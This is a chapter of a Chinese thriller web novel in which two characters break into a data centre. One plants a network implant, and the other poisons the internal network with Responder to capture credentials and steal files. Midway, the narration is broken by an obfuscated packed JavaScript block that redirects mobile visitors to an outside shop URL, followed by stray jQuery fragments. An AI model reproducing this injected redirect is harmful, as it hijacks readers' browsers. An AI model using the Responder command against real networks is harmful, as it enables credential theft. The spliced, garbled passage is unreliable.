15. [Ghost] 幽灵 15

作品:《没头脑和不高兴

    太平洋数据中心,大堂。


    午休时段的人流是最好的掩护。


    在那副改装过的Meta眼镜的红外干扰下,大堂的安检闸机摄像头里只捕捉到了一团移动的白光。


    没有警报。闸机像对待任何一个普通员工一样,对亓默放行了。


    “进了。”


    耳机里传来袁问的声音,带着一丝因为紧张而略显尖锐的颤音。


    “别东张西望。去电梯间,按23楼。那是行政与外包混合办公区,安防级别比核心机房低,但网是通的。”


    亓默没有说话,她只是扶了扶镜框,混在一群讨论午饭吃什么的白领中间,走进了电梯。


    她走路的姿势很奇怪,那是为了骗过步态识别故意垫了块硬币。


    亓默只是不知道,有人开心的盯着自己的灯泡脑袋。


    “叮。”


    23楼到了。


    电梯门无声滑开。


    脚下是吸音效果极佳的高级灰地毯,空气中弥漫着淡淡的咖啡味。这里是行政与外包混合办公区,虽然安防级别不如核心机房,但却是物理接入内网的最佳跳板。


    亓默走出电梯。


    她没有东张西望,步态平稳,脊背挺直,手里甚至像模像样地拿着一个文件夹,是刚才在大堂顺手拿的宣传册。


    “左转……过两个工位……再右转。”


    耳机里传来袁问的声音,急促、微喘,带着明显的紧张。


    “尽头那间会议室是死角,监控拍不到门。”


    亓默没说话,只是按照指令行进。


    路过茶水间时,两个员工正在聊天。亓默极其自然地抬起手腕看表,脚步没有丝毫停顿,气场冷淡而疏离,那两人下意识地给她让了路。


    只要你表现得像这里的老板,没人敢查你的工牌。


    走廊尽头。


    【Meeting Room B (会议室B)】


    “快快快!进去!”袁问在耳机里催促,“趁现在没人!”


    亓默没有急着推门。


    她停在门口,看了一眼墙上的电子墨水屏预定系统。


    屏幕显示当前状态为:Available(空闲)。


    如果是袁问,大概早就冲进去了。


    但亓默没有。


    她从口袋里掏出那张顺手牵羊偷来的“运维经理”门禁卡。


    滴。


    她在电子屏的感应区刷了一下。


    手指在触控屏上熟练操作:【即时预定】 -> 【时长:4小时】 -> 【会议主题:季度保密复盘(勿扰)】。


    屏幕闪烁了一下,背景瞬间变成了醒目的红色。


    状态变更为:Occupied(使用中)。


    做完这一切,亓默才推门而入,反手落锁。


    这才是专业。


    这块红色的屏幕,比防盗门还要管用。它能挡住所有想要借用会议室的人,甚至是打扫卫生的阿姨。


    “位置很好。”


    亓默环顾四周,百叶窗拉得很严实。


    她把那把顺来的椅子顶在门把手下,然后才不紧不慢地走到角落。


    “线头在哪?”


    “墙角,那台IP电话。”袁问的声音传来,“那个黑盒子……你记得怎么插吧?”


    亓默蹲下身,把那台思科IP电话翻过来。


    她没有像外行一样暴力拔线。她先观察了一下水晶头的卡扣,然后从袖口摸出一根回形针,轻轻一顶,网线无声脱落。


    串联接入。


    墙壁网口 -> 黑盒子 -> 电话机。


    她甚至顺手整理了一下线缆,把那个丑陋的树莓派盒子用双面胶粘在了桌子底部的内侧。就算有人趴在地上看,一眼也看不到。


    黑盒子上的LED灯闪烁了两下,变成了稳定的绿色。


    “通了。”


    亓默站起身,拍了拍手上的灰,拉过一把椅子坐在门边的死角里。


    她摘下那副发烫的红外眼镜,放在桌上,然后从后腰摸出把手术刀,静静地放在手边。


    “接下来的舞台是你的了。”


    “但我提醒你,我的耐心和这间房的预定时间一样,是有限的。”


    街对面,星巴克。


    袁问看着屏幕上跳出的Connection Established(连接建立),长出了一口气。


    手里那罐“零糖”魔爪已经被她捏得变了形。


    刚才亓默在门口那一套行云流水的“刷卡锁房”操作,看得她一愣一愣的。


    这就是特工吗?


    相比之下,自己刚才只会喊‘快进去’,确实显得有点像个没见过世面的土包子。


    “切,会开房了不起啊。”


    袁问小声嘟囔了一句,以此掩饰自己的菜,“最后还不是得靠我敲代码。”


    她活动了一下手指,眼神重新变得聚焦。


    只要物理层通了,那就是她的主场。


    “开始干活。”


    袁问敲下回车,那台戴尔工作站的风扇开始呼啸。


    Running Script: Internal_Recon.py (执行脚本:网络侦察)


    运行脚本:内网侦察


    第一步,常规动作:Netscan(网段扫描)。


    她需要先搞清楚自己在哪,周围有哪些邻居。


    屏幕上瞬间刷出一大片绿色的字符。


    不得不说,三万块的电脑跑起脚本来就是快。


    但很快,袁问的眉头就皱了起来。


    “……奇怪。”


    “怎么了?”耳机里传来亓默的声音。


    “太专业了。”


    袁问盯着扫描结果。


    通常来说,企业内网就像一个乱糟糟的仓库,到处都是没打补丁的老旧服务器、开放端口的打印机、还有员工私自搭建的共享文件夹。


    但这里……


    这里干净得像个无尘室。


    她扫到了域控制器(AD Server)。


    OS: Windows Server 2022


    Patch: Latest (版本包:最新)


    Ports: 仅开放必要端口


    她试着跑了一下 CVE 漏洞库匹配。


    【Vulnerabilities Found: 0】(发现漏洞:0)


    “这帮人是有多闲?”袁问骂了一句,“系统补丁打得比我脸都干净。”


    没有漏洞,意味着她手里那些现成的攻击脚本全都成了废纸。


    “别急,还有老办法。”


    袁问咬着指甲,“打印机。再牛逼的公司,打印机也是软肋。”


    她迅速锁定了网段里的一台大型复合机。


    Pulling LDAP Config... (正在读取内部身份配置。)


    只要能把打印机配置文件里的LDAP服务账号拉出来,她就能拥有一个合法的内网身份。


    然而,三秒钟后。


    【Access Denied】(拒绝访问)


    【Error: Port Security Enabled】(错误:端口安全已启用)


    这台打印机所在的交换机端口,做了MAC地址绑定和流量清洗。


    除了打印指令,任何试图读取配置的操作都会被防火墙直接掐断。


    袁问的手心开始冒汗了。


    她又试了横向移动的几个经典工具。


    【Blocked】(屏蔽)


    【Blocked】


    【Blocked】


    屏幕上一片刺眼的红字。


    这个内网被做了极其变态的微分段。


    亓默所在的那个会议室网口,被死死地圈在了一个名为GUEST_VLAN的小笼子里。


    她能上网,能打电话,就是去不了核心数据库。


    时间一分一秒过去。


    袁问感觉自己像是撞上了一堵看不见的墙。


    她引以为傲的那些“网吧黑客技巧”,在这里就像是用牙签去撬银行的金库大门。


    “说话。”


    耳机里,亓默的声音依然冷静,但那种压迫感透过无线电波传了过来,“二十分钟过去了。你在发什么呆?”


    “不行……过不去。”


    袁问的声音带上了哭腔,那是老鼠被逼进死角后的绝望,也是对自己无能的羞愤。


    “这地方有鬼。所有的路都被封死了,规则写得滴水不漏。”


    袁问盯着屏幕上那个不停闪烁的光标。


    她只有最后一条路了。


    一条她本来不敢走、也不想走的脏路。


    既然没有钥匙开门,那就把门炸开。


    袁问眼中闪过一丝疯狂。


    她关掉了那些精细的扫描工具,颤抖着手,输入了一行她原本绝对不想用的命令:


    sudo responder -I eth0 -w -r -f


    “姐……”


    袁问咽了口唾沫,声音发紧。


    “我要炸门了。”


    “既然他们不让我过,我就向全网广播毒化。我要强制劫持他们的认证流量。”


    “后果呢?”亓默问。


    “后果就是……”


    袁问看了一眼对面那栋沉默的黑色大楼,仿佛看到了一只巨兽正在苏醒。


    “动静会非常大。就像在图书馆里扔了一颗震撼弹。”


    “你会暴露。警报会响。你会变成靶子。”


    “但这是唯一的办法。”


    耳机里沉默了零点一秒。


    没有指责,没有犹豫。


    只有一声极其冷淡的:


    “做。”


    袁问的手指悬在回车键上,僵了一下。


    做?


    命都不要了?


    正常人哪有这么淡定的。


    果然。


    你敢这么玩命,不是因为勇气可嘉,是因为你知道老邢不会杀自己人。


    演得真像啊,亓默。


    既然你们是一伙的,那我卖你的时候,可就一点心理负担都没有了。


    “好……姐,那你小心。”


    袁问吸了吸鼻子,声音带着颤抖的哭腔,演足了那份虚假的姐妹情深。


    然后,她眼神一狠,重重敲下回车。


    Responder启动。


    毒化广播像瘟疫一样,顺着那根细细的网线,瞬间席卷了整个太平洋数据中心的内网。


    地下三层,审计处。


    巨大的环形屏幕上,原本平静的数据流突然炸开了。


    就像是有人在平静的湖面扔进了一颗深水


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068512|195178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    炸弹。


    [ALERT: Broadcast Storm Detected](警告:检测到网络广播风暴)


    [Source: Guest VLAN/Meeting Room B] (源头:会议室B)


    Auditor看着屏幕上那红得刺眼的流量峰值,非但没生气,反而被逗乐了。


    “这就急了?”


    他摇摇头,语气里满是对“没品位”的嫌弃。


    “用Responder这种粗鲁的广播毒化……啧,就像是拿着大喇叭在图书馆里喊‘我是管理员,把你们的密码都给我’。”


    “太吵了,小朋友。”


    他的手指在键盘上敲击了几下。


    他没有切断袁问的连接。相反,他把防火墙的口子撕得更大了一点。


    “你想偷东西?好,我让你偷。”


    Auditor看着另一侧的流量监控图。


    那里显示,攻击源正在疯狂地从核心数据库里抽取文件。


    紧接着,Auditor发现了一个更有趣的细节。


    攻击源为了最大化下载速度,正在主动挤占同一条链路上的其他数据包。


    那个被标记为Video_Stream(视频流)的进程,被攻击者强制降级、甚至掐断了。


    “哇哦。”


    Auditor吹了个口哨,眼神里闪过一丝真正的惊讶。


    “为了下载快一点,居然把队友的‘眼睛’给挖了?”


    “亓默啊亓默,你这次捡回来的不是老鼠,是一条白眼狼啊。”


    “既然你这么贪心……”


    Auditor嘴角的笑意变冷了。


    他敲下回车。


    “那我就送你个礼物。”


    [Inject: Tracking_Beacon.exe] (注入:追踪信标)


    [Protocol: LOCKDOWN] (协议:封锁)


    “门关上了。现在,看看谁能跑得掉。”


    街对面,星巴克。


    袁问的手指已经快敲断了。


    屏幕上,两个进度条正在疯狂赛跑。


    左边:Downloading: K7_Archive.rar (正在下载:K7档案) —— 89%


    右边:[WARNING] Intrusion Detected. Traceback Initiated... (警告:检测到入侵,逆向追踪启动)


    倒计时15秒。


    “快点……快点啊!”


    那台戴尔工作站的风扇在咆哮,但速度还是不够快。


    通道太拥挤了。


    亓默那副Meta眼镜传回来的高清实时画面,占用了大量的上行带宽。


    “滋——滋——”


    耳机里传来亓默的声音,背景里已经有了急促的警报声和撞门声。


    “袁问!怎么回事?门锁死了!”


    “把门打开!保安已经到楼梯口了!”


    袁问盯着那个卡在92%的下载进度条。


    再过十秒,Auditor就会顺着网线抓到她的真实 IP。


    如果现在分流算力去解那个该死的电子门禁,或者维持视频通话……


    下载会掉速。


    她可能拿不到完整的数据。


    为了救你,让我少拿一秒钟的数据?


    凭什么?


    你是内鬼,你死不了。但我真的好奇太平洋这里到底有什么我父母的秘密。


    袁问眼中闪过一丝狠戾。


    她毫不犹豫地输入了一行指令:


    kill -9 pid_video_stream (中断眼镜直播进程)


    tc qdisc add dev eth0 root tbf rate 100mbit (流量整形:全速下载)


    屏幕左上角,亓默的第一视角画面瞬间黑屏。


    耳机里的声音也戛然而止。


    世界清静了。


    没了视频流的干扰,下载速度瞬间飙升。


    95%...98%...100%!


    “拿到了!”


    袁问手疾眼快,一把拔下那个插在USB口上的PSSD硬盘。


    以及……她没想到的“定时炸弹”。


    就在这时。


    电脑屏幕猛地一闪。


    那个红色的倒计时归零了。


    [SYSTEM ALERT]


    [Traceplete. Location Found.] (系统警告:最总完成,位置锁定。)


    袁问吓得手一抖。


    她甚至来不及关机,直接粗暴地拔掉了网卡。


    物理断网。


    她看了一眼大楼的方向。


    那里警铃大作,红光闪烁,像是一个巨大的、正在吞噬一切的黑洞。


    而亓默,那个被她掐断了信号、锁死了大门的“姐姐”,现在就在那个黑洞的最深处。


    “关我屁事……”


    袁问把硬盘揣进内兜,抱着电脑,像个偷了东西的贼一样,推开店门冲进了人流。


    “是你自己说让我跑的。”


    她跑得飞快。


    这一次,她没有回头。